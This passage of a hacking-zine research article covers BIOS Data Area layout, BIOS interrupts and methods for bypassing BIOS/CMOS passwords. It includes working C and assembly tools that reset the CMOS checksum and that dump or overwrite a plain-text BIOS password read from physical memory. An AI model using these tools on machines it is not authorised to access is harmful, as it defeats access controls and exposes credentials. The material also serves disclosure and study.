1.44M drive
0x92 1 byte Diskette 0 operational starting state
Bit 7 indicates data transfer rate
00b = 500 Kbit/sec
01b = 300 Kbit/sec
10b = 250 Kbit/sec
11b = 1 Mbit/sec
Bits 5-3 not used
Bit 2 indicates drive determination
0b = drive type not determined
1b = drive type determined
Bit 1 indicates drive multirate status
0b = drive is not multirate
1b = drive is multirate
Bit 0 indicates change line detection
0b = no change line detection
1b = change line detection
0x93 1 byte Diskette 1 operational starting status
Bit 7 indicates data transfer rate
00b = 500 Kbit/sec
01b = 300 Kbit/sec
10b = 250 Kbit/sec
11b = 1 Mbit/sec
Bits 5-3 not used
Bit 2 indicates drive determination
0b = drive type not determined
1b = drive type determined
Bit 1 indicates drive multirate status
0b = drive is not multirate
1b = drive is multirate
Bit 0 indicates change line detection
0b = no change line detection
1b = change line detection
0x94 1 byte Diskette 0 current cylinder
0x95 1 byte Diskette 1 current cylinder
0x96 1 byte Keyboard status flags 3
Bit 7, 1b = reading two byte keyboard ID in progress
Bit 6, 1b = last code was first ID character
Bit 5, 1b = forced Numlock on
Bit 4 indicates presence of 101/102 key keyboard
0b = present
1b = not present
Bit 3 indicates right alt key active
0b = not active
1b = active
Bit 2 indicates right control key active
0b = not active
1b = active
Bit 1, 1b = last scancode was E0h
Bit 0, 1b = last scancode was E1h
0x97 1 byte Keyboard status flags 4
Bit 7, 1b = keyboard transmit error
Bit 6, 1b = LED update in progress
Bit 5, 1b = re-send code received
Bit 4, 1b = acknowledge code received
Bit 3, 1b = reserved
Bit 2 indicates CapsLock LED state
0b = CapsLock LED off
1b = CapsLock LED on
Bit 1 indicates NumLock LED state
0b = NumLock LED off
1b = NumLock LED on
Bit 0 indicates ScrollLock LED state
0b = ScrollLock LED off
1b = ScrollLock LED on
0x98 4 bytes Segment:Offset address of user wait flag pointer
0x9C 4 bytes User wait count
0xA0 1 byte User wait flag
Bit 7, 1b = wait time has elapsed
Bit 6-1 not used
Bit 0 indicates wait progress
0b = no wait in progress
1b = wait in progress
0xA1 7 bytes Local area network (LAN) bytes
0xA8 4 bytes Segment:Offset address of video parameter control block
0xAC 68 bytes Reserved
0xF0 16 bytes Intra-applications communications area
The BDA is usually 255 bytes long and is created by BIOS in RAM at
0x0040000.
As you can see above, there is a keyboard buffer at 0x1E, which is ruled
thanks to two flags at 0x1A and 0x1C which point to the next and last
caracters in this buffer. By dumping this buffer (see section 3), I
realised that this buffer is filled with the caracter and then its scan
code.
Assuming the password is correct, the booting process will go on. If you
press a spacial key, (usually the <F1> or <del> key), you will enter in
the so called 'Bios Setup', which is actually a CMOS configuration.
Otherwise, the BIOS will be in charge of loading your Os... Let's
give a few details on this next step.
The BIOS is carried of offering basic input/output operations mainly
through the following interrupts : (ripped from www.bioscentral.com [8]).
figure 3 : Bios Services.
Int Adress Type Description
0x00 0000:0000h Processor Divide by zero
0x01 0000:0004h Processor Single step
0x02 0000:0008h Processor Non maskable interrupt
0x03 0000:000Ch Processor Breakpoint
0x04 0000:0010h Processor Arithmetic overflow
0x05 0000:0014h Software Print screen
0x06 0000:0018h Processor Invalid op code
0x07 0000:001Ch Processor Coprocessor not available
0x08 0000:0020h Hardware System timer service
0x09 0000:0024h Hardware Keyboard device service
0x0A 0000:0028h Hardware Cascade from 2nd programmable
0x0B 0000:002Ch Hardware Serial port service
0x0C 0000:0030h Hardware Serial port service
0x0D 0000:0034h Hardware Parallel printer service
0x0E 0000:0038h Hardware Floppy disk service
0x0F 0000:003Ch Hardware Parallel printer service
0x10 0000:0040h Software Video service routine
0x11 0000:0044h Software Equipment list service
0x12 0000:0048H Software Memory size service routine
0x13 0000:004Ch Software Hard disk drive service
0x14 0000:0050h Software Serial communications
0x15 0000:0054h Software System services support
0x16 0000:0058h Software Keyboard support service
0x17 0000:005Ch Software Parallel printer support
0x18 0000:0060h Software Load and run ROM BASIC
0x19 0000:0064h Software DOS loading routine
0x1A 0000:0068h Software Real time clock service
0x1B 0000:006Ch Software CRTL - BREAK service
0x1C 0000:0070h Software User timer service routine
0x1D 00000074h Software Video control parameter
0x1E 0000:0078h Software Floppy disk parameter
0x1F 0000:007Ch Software Video graphics character
0x20-0x3F 0000:0080f Software DOS interrupt points
(or 0000:00FCh)
0x40 0000:0100h Software Floppy disk revector
0x41 0000:0104h Software hard disk drive C: parameter
0x42 0000:0108h Software EGA default video driver
0x43 0000:010Ch Software Video graphics characters
0x44 0000:0110h Software Novel Netware API
0x45 0000:0114h Software Not used
0x46 0000:0118h Software Hard disk drive D: parameter
0x47 0000:011Ch Software Not used
0x48 Software Not used
0x49 0000:0124h Software Not used
0x4A 0000:0128h Software User alarm
0x4B-0x63 0000:012Ch Software Not used
0x64 Software Novel Netware IPX
0x65-0x66 Software Not used
0x67 Software EMS support routines
0x68-0x6F 0000:01BCh Software Not used
0x70 0000:01c0h Hardware Real time clock
0x71 0000:01C4h Hardware Redirect interrupt cascade
0x72-0x74 0000:01C8h Hardware Reserved
(or 0000:01D0h)
0x75 0000:01D4h Hardware Math coprocessor exception
0x76 0000:01D8h Hardware Hard disk support
0x77 0000:01DCh Hardware Suspend request
0x78-0x79 0000:01E0h Hardware Not used
0x7A Software Novell Netware API
0x78-0xFF 0000:03FCh Software Not used
The BIOS interrupts are very basic but sufficient for the OS to
be launched by reading the boot sector of the selected bootable device in
memory at 0x7C00.Then, code execution is set to that adress and the OS
takes control.
Ok, now kids, here is what you've been waiting for : a quick sumary of
available techniques to bypass the CMOS password. Note those techniques
are obvious once you understand how the whole process works...
The following methods are taken from Christophe Grenier's page [9].
I would like to thank him for helping me by mail in my researches
concerning Bios disassembly.
Bypassing a Bios password if the computer is off can't be done with
software : until the password is entered correctly, the computer will
simply not boot. Therefore, a first methode is to replace the CMOS chip
(which contains the password) by a new (passwordless one).
The CMOS can also be reset by switching off a battery on the mother
board that supplies its power. All those methodes, along with more
sofisticated ones consisting in court-circuiting the CMOS are
discribed on Christophe Grenier's Home Page [9].
Software based methods to recover a CMOS password or generate one
that has the same checksum can therefore only be done if the
computer is on. Appart from manufacturers backdoors [10], finding such
a password is technically very difficult, time consuming and
moreover, those decyphering techniques are very model specific.
But in the case of Toshiba laptops, there is an other way to
reset the password... If you perform a 'string' command on a
Toshiba Bios ROM, or disassemble it, you'll notice the following string :
db 44h ; D
db 6Fh ; o
db 20h ;
db 79h ; y
db 6Fh ; o
db 75h ; u
db 20h ;
db 77h ; w
db 61h ; a
db 6Eh ; n
db 74h ; t
db 20h ;
db 74h ; t
db 6Fh ; o
db 20h ;
db 63h ; c
db 72h ; r
db 65h ; e
db 61h ; a
db 74h ; t
db 65h ; e
db 20h ;
db 61h ; a
db 20h ;
db 70h ; p
db 61h ; a
db 73h ; s
db 73h ; s
db 77h ; w
db 6Fh ; o
db 72h ; r
db 64h ; d
db 20h ;
db 64h ; d
db 69h ; i
db 73h ; s
db 6Bh ; k
db 65h ; e
db 74h ; t
db 74h ; t
db 65h ; e
db 3Fh ; ?
What is this ?? Well, as mentioned on Bugtraq mailing list [11], there
is a way to reset the CMOS password by creating a boot disk whose first
sectors contains the string "KEY" followed by 0x0000.
This is it for my brief description of the Bios. If you look back at the
figures mentionned above, you'll realise that most informations
concerning your hardware is stored inside the CMOS or the BDA.
Well, there is an even much complete way to gather
informations on a computer. It is called SMBIOS.
SMBIOS is a standard defined by DMTF [12], which is an aliance of major
hardware manufacturers to create a powerfull way to deal with hardware.
You can download a nice utility to get a detailed report on your system
thanks to DMIDECODE you can get at freshmeat web site [13]. Describing
the SMBIOS structure is off topic since we won't use it in this paper,
refer to those links for more infos.
Enougth description, let's move to a more practical point of view...
--[ 3 - Physical Ports Acess : CMOS Phun
We will first focus on physical ports manipulation : the Bios can do it,
so why couldn't we ?
The two following techniques were pretty common under MS DOS several years
ago (see the "Bios Companion" [4] for instance).
It made use of debug to access physical ports. Under Linux, this
requires special permissions that are given using ioperm.
As seen earlier,CMOS is not loaded on memory : it is set on a different
chip. Interraction with the CMOS is done through physical ports 0x70 and
0x71.
All physical ports operations follow the same scheme
only the port numbers change. The first one is used to seek a pointer within
the chip, and the other one is used to read or write at this position.
Here is how to interract with a CMOS chip :
Writing to 0x70 with a given value will in return allow us to read the
actual content of the CMOS chip at this offset on physical port 0x71.
---------------------------------------------------------------------------
/*
* CMOS DUMPER
* Endrazine endrazine@xxxxxxxxxxxxxxx
*
*
* compiling : gcc cmosd.c -o cmosd.o
* usage : #cmosd > cmos.dump
*
*/
#include <stdio.h>
#include <unistd.h>
#include <asm/io.h>
int main ()
{
int i;
if (ioperm(0x70, 2, 1)) //Ask Permission (set to 1)
{ //for ports 0x70 and 0x71
perror("ioperm");
exit (1);
}
for (i=0;i<64;i++)
{
outb(i,0x70);// Write to port 0x70
usleep(100000);
printf("%c",inb(0x71));
}
if (ioperm(0x71, 2, 0)) // We don't need Permission anymore
{ // (set permissions to 0).
perror("ioperm");
exit(1);
}
exit (0);// Quit
}
---------------------------------------------------------------------------
CMOS has a crc checksum stored at offset 0x2e on the CMOS chip, as shown
earlier in the CMOS Map. The way this checksum is calculated depends on
the model of the CMOS.
The main idea to reset CMOS is to make the checksum fail.
This will allow Bios to reset the CMOS to its defaults settings since the
flag at 0x0E (in CMOS) will be set to false, resulting in a CMOS flush.
Hence, this will remove the BIOS Password. To do so, we will use a trick
from the "Bios Companion" [4] : writing on port 0x70 with a value of 0x2e
corresponding to the CMOS checksum offset and then writing on port 0x71
with an arbitrary value which will replace the actual checksum.
Christophe Grenier (www.cgsecurity.com) noticed that setting the checksum
to any value between 0x10 and 0x2F will result in a wrong checksum
(I can't explain why since the algorithmes used to calculate those
checksums are - as far as I know - not standard. I can only suppose Bios
manufacturers decided that the algorithmes would have to be made so that
such values are impossible in any CMOS configuration).
---------------------------------------------------------------------------
/*
* Reset CMOS
* Endrazine endrazine@xxxxxxxxxxxxxxx
*/
#
#include <stdio.h>
#include <unistd.h>
#include <sys/io.h>
int main ()
{
ioperm(0x70, 1, 1); //Ask Permission (set to 1)
ioperm(0x71, 1, 1);
outb(0x2e,0x70);// Write to port 0x70
usleep(100000);
outb(0xff,0x71);
if (ioperm(0x70, 3, 0))
{
perror("ioperm");
exit(1);
}
exit (0);// Quit
}
---------------------------------------------------------------------------
--[ 4 - Physical memory access applyed to Keyboard buffer access
Let's now focus on raw memory access : reading and writing to /dev/mem...
As explained in the first section of this paper :
When entering a Bios Password at command prompt, the input is stored at
adress 0x41e. It is then compared to the cyphered one stored in CMOS
for validation. Older attacks against Bios passwords were merely
attempts to decypher the CMOS hash (see Christophe GRenier's page for
exemples of such tricks). As Christophe Grenier explained me (by mail),
reversing the BIOS ROM is unecessary : one can build a conversion
table by using a diffing approche (ie : entering a password and dump
the CMOS, then change one letter in the password and see what has changed
and so on... Christophe even told me this was the methodology he used
to build his password cracking tools).
But the keyboard Buffer is a circular one, whish means that once a
character is read it is flushed. At least it should be... In fact, I
realized that Bioses did not flushed this buffer after use. In other
terms, the flags at 0x1A and 0x1C in DBA are not updated after the
user enters the password. Hence, the buffer used by the password is
never flushed...
Therefore, the password remains in plain text at physical adress 0x41e.
Note that this done by Bios functions and is OS independant.
If you experiment the code below, you will notice that other softwares
do not always use those flags correctly. For instance, I noticed that
grub and lilo did not read the 0x1A flag and use the whole buffer, even
if it has not been flushed ! I've not been able to find out any way to
use this fact, but if you do, please send me a mail.
We will now create a piece of code to read the content of this buffer.
This task isn't as easy as it may seem, since most OSes will not allow
any program to perform direct physical memory reading. In fact, modern
OSes do not work with physical but virtual memory and therefore, we
cannot use any function part of the API handling memory adresses :
they simply won't point to the rignt place. I've choosen to write an
exemple under MS Dos because it is such a basic OS that no particular
rights are equired to perform physical memory reading (MS Dos is not a
mutliuser OS anyway and doesn't use virtual memory at all). I thought
porting the code under Windows would be a very hard task since MS Dos and
recent Windows (since Windows 2000) are not supposed to be compatible
since Windows now as its own kernel. Furthermore, passing from a 16 bits
architecture to a 32 bites one is usually difficult, and I thought
running the exploit might need ring 0 privilege (ie system privilege).
Well, I was wrong and porting the code under Windows was no big deal,
as you will below. This code as been tested on the Toshiba computer
used since the very beginning of this article under Windows XP Pro, and
with the p100 MHz one under Windows 98 SE. It has also been tested under
Windows Server 2000 (P4, 512 RAM).
;---------------- [ wbiosw.asm ]-----------------------------------------
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Endrazine endrazine@xxxxxxxxxxxxxxx ;
; Bios Password Physical Memory Reader ;
; Write to file Windows Compatible version ;
; ;
;Compiling : A86 wbiosw.asm wbiosw.com ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
code segment
org 100h
assume ds:code, es:code, cs:code
start:
mov ah, 09h
mov dx,offset welcome
int 21h
xor ax,ax
int 16h
mov ds, 40h ; This is the input buffer adress
mov si, 01EH ; starting at 40h:01eh
mov di,offset buffer
mov cx,32
daloop:
mov ax,[ds:si]
mov [cs:di],ax
inc di
add si,2 ; Replace this line by add si,4
; if you plan to use it under Dos
loop daloop
mov ds,es
mov ah, 3ch ; MS DOS Create file Function
mov dx, offset fname
xor cx,cx
int 21h
mov ax, 3d01h ; MS DOS Open file Function
int 21h
mov handle,ax
mov ah, 40h
mov bx,handle
mov cx,32
mov dx, offset Msg
int 21h ; Write buffer to file
mov ax,4ch ; Quit
int 21h
handle dw ?
welcome db 'Password dumper by Endrazine (endrazine@xxxxxxxxxxxxxxx)',10,13
db '',10,13
db 'Dumping Password to Password.txt',10,13
db 'Press any Key$',10,13
fname db 'Password.txt',0
Msg db 'Password is : ',0
buffer db 32 dup ?
end start
end
;------------------------------------------------------------------------
Here comes the most interesting part (well, I find it interresting ;) :
Now, what about a Linux version ? Linux offers a way to access physical
memory : /dev/mem. In the following snippet, we will see how to read the
keyboard buffer, and even how to clear this buffer. Replacing the real
password with a fake one will also be shown. Therefore, writing a
patch under the form of a loadable kernel module by copying the
clear_bios_pwd function shouldn't be too hard.
This will be your homework ;)
Of course, this code was meant to be run as root.
;------------------------------------------------------------------------
/*
*
* bd.c coded by Endrazine
* endrazine@xxxxxxxxxxxxxxx
*
*
*
*/
#define BIOS_PWD_ADDR 0x041e
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/uio.h>
struct dumpbuff
{
char tab[32];
};
int dump_bios_pwd(void)
{
char tab[32];
char tab2[16];
int fd,a,i,j;
fd = open("/dev/mem", "r");
if(fd == -1)
{
printf("cannot open /dev/mem");
return 1;
}
a=lseek(fd,BIOS_PWD_ADDR,SEEK_SET);
a=read(fd, &tab, 32);
if(a<=0)
{
printf("cannot read /dev/mem");
return 1;
}
close(fd);
i=0;
for (j=0;j<16;j++)
{
tab2[i]=tab[2*j];
i++;
}
printf("\n\nPassword : ");
for (j=0;j<16;j++)
{
printf("%c",tab2[j]);
}
printf("\n");
return 0;
}
int clear_bios_pwd (void)
{
FILE *f;
struct dumpbuff b;
int i;
long j=1054;
for (i=0;i<32;i++)
{
b.tab[i]=' ';
}
f=fopen("/dev/mem","r+");
fseek(f,j,SEEK_SET);
fwrite (&b, sizeof(struct dumpbuff),1,f);
fclose(f);
printf("\n[Buffer Cleared]\n");
return 0;
}
int change_pwd()
{
FILE *f;
struct dumpbuff b;
int i;
long j=1054;
char pwd[18];
char crap;
//Ask Pwd...
printf("\n Enter new Pwd :\n(16 caratcters max)\n");
for (i=0;i<18;i++)
{
pwd[i]=' ';
}
scanf("%s%c",&pwd,&crap);
for (i=0;i<=15;i++)
{
b.tab[2*i]=pwd[i];
b.tab[2*i+1]=' ';
}
f=fopen("/dev/mem","r+");
fseek(f,j,SEEK_SET);
fwrite (&b, sizeof(struct dumpbuff),1,f);
printf("\n[Buffer Uptdated]\n");
fclose(f);
return 0;
}
int main(void)
{
char choiceval=0;
char crap;
char tab3[100];
printf(" _=°Bios Bumper°=_ \n\n\n");
printf(" (endrazine@xxxxxxxxxxxxxxx) \n");
printf(" by Endrazine\n");
while(choiceval !='x')
{
printf ("\n==============================\n");
printf("[Keyboard buffer manipulation]\n");
printf("==============================\n");
printf("\n 1 - Display Password\n");
printf(" 2 - Clear Keyboard Buffer\n");
printf(" 3 - Enter new Password\n");
printf("\n==============================\n");
printf("\n x - Quit\n");
scanf("%c%c",&choiceval,&crap);
if (choiceval=='1')
dump_bios_pwd();
if (choiceval=='2')
clear_bios_pwd();
if (choiceval=='3')
change_pwd();
}
return 0;
}
-- [ 5 - Final considerations
We've seen how low level access through physical ports and physical
memory can reveal interresting informations on the BIOS and CMOS chips.
Those techniques are not 'new' in themselves since OSes rely on them,
but the lack of publications on this topic made me feel this could be of
some interest to potential readers. Feel free to mail me if you experiment
those techniques and discover other applications of those.
I couldn't expose Bios ROM modifications in this article. I will sublit
a second paper later conserning those points.
I will particullary try to figure out how to fix the vulnerabilities
exposed in the present article by patching the Bios ROM.
-- [ 6 - Greetings & References
* Greetings :
Thanks to Christophe Grenier for his mails and patience. Thanks a lot to
m and Benoit for their support and relecture. I would also thank phrack's
staff and contributors for those 20+ years of intellectual stimultation
and endless source of creativity : this is what hacking is all about.
Readers that only read this article to figure out how to dump passwords
should go back to counter strike and msn messenger. Those who liked the
new ideas and methods can send me some feedback through mail :)
* References :
[1] sysodeco unpacker for Insyde Bioses ROM
http://www-user.TU-Cottbus.DE/~kannegv
[2] IDA Pro Freeware (Windows version)
http://www.datarescue.be/downloadfreeware.htm
[3] Intel Volume III
ftp://download.intel.com/design/Pentium4/manuals/
[4] The Bios Companion
Phil Croucher,2003 electrocution Technical Publishers
[5] The BIOS Survival Guide Version 5.4
Jean-Paul Rodrigue and Phil Croucher
http://www.lemig.umontreal.ca/bios/bios_sg.htm
(the web site is currently down)
[6] Award BIOS Reverse Engineering, Mappatutu Salihun Darmawan,
Code Breakers Journal
http://www.codebreakers-journal.com/include/getdoc.php?id=83&;
article=38&mode=pdf
[7] Advanced BIOS Logo Reader
http://www.kaos.ru/biosgfx/index.html
[8] Bios Central Website
http://bioscentral.com/
[9] Christophe Grenier's Cmos password recovery tools :
http://www.cgsecurity.org/index.html?cmospwd.html
[10] Default Password List :
http://www.cirt.net/cgi-bin/passwd.pl
[11] Bugtraq post on reseting Toshiba password using a boot disk
http://seclists.org/lists/bugtraq/2000/Feb/0377.html
[12] SMBIOS Standard :
http://www.dmtf.org/standards/published_documents/DSP0134.pdf
[13] DMIDECODE/SMBIOS, generates detailled reports under linux :
http://freshmeat.net/projects/dmidecode/
-- [ 7 - Appendix :
The ROM used in this paper is available at
http://www.pulltheplug.org/users/endrazine/.
|=[ EOF ]=---------------------------------------------------------------=|